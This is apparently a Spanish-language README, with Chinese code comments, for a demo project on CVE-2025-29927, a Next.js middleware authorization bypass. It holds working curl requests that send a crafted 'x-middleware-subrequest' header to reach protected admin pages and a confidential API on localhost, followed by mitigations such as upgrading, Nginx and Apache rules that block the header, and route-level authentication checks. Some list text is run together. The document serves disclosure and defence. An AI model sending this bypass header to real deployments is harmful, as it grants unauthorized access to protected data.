
Demostración de la vulnerabilidad de omisión de autorización de Middleware en Next.js (CVE-2025-29927), que permite a usuarios no autorizados acceder a información protegida.
Este repositorio proporciona un proyecto de ejemplo que demuestra la vulnerabilidad de bypass de autorización en el middleware de Next.js (CVE-2025-29927). Esta vulnerabilidad permite que usuarios no autorizados accedan a recursos protegidos.
CVE-2025-29927 es una vulnerabilidad de seguridad grave (puntuación CVSS: 9.1) que afecta al sistema de middleware de Next.js. Un atacante puede omitir por completo las comprobaciones de seguridad del middleware añadiendo una cabecera x-middleware-subrequest especialmente diseñada a la solicitud HTTP.
/admin) sin autenticación/api/confidential)cd y ejecuta npm install para instalar las dependenciasnpm run dev para iniciar el servidor de desarrollo de Next.jshttp://localhost:3000 en el navegador para ver la página web actualNext.js utiliza la cabecera interna x-middleware-subrequest para evitar que las llamadas recursivas del middleware provoquen bucles infinitos. Sin embargo, esta cabecera puede ser explotada por solicitudes externas. Cuando una solicitud incluye esta cabecera y alcanza la profundidad máxima de recursión (MAX_RECURSION_DEPTH), Next.js omite por completo la ejecución del middleware.
Primero, intenta acceder normalmente a la ruta protegida:
# 访问受保护的管理员页面
curl http://localhost:3000/admin/dashboard -v
Resultado esperado: serás redirigido a la página de inicio de sesión (redirección 302 a /login)
# 访问受保护的 API
curl http://localhost:3000/api/confidential -v
Resultado esperado: devuelve un error 401 Unauthorized
Ahora, utiliza la cabecera especialmente diseñada para omitir el middleware:
# 绕过 /admin 路径保护
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Resultado esperado: se accede correctamente al contenido de la página de administrador (200 OK)
# 绕过 /api/confidential 保护
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Resultado esperado: se accede correctamente a la API y se obtiene información confidencial (200 OK)
También puedes probar utilizando las herramientas de desarrollador del navegador:
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboardCuando el middleware recibe una solicitud que contiene la cabecera x-middleware-subrequest:
Actualiza a una versión corregida:
Si no puedes actualizar de inmediato, puedes bloquear las solicitudes que contengan la cabecera x-middleware-subrequest a nivel del proxy inverso (Nginx, Apache, etc.):
Ejemplo de configuración de Nginx:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Ejemplo de configuración de Apache:
RequestHeader unset x-middleware-subrequest
Además del middleware, implementa comprobaciones de autenticación también en los manejadores de rutas:
// 在 API 路由中添加额外的认证检查
export async function GET(request) {
// 不要只依赖 middleware,在这里也检查认证
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... 处理请求
}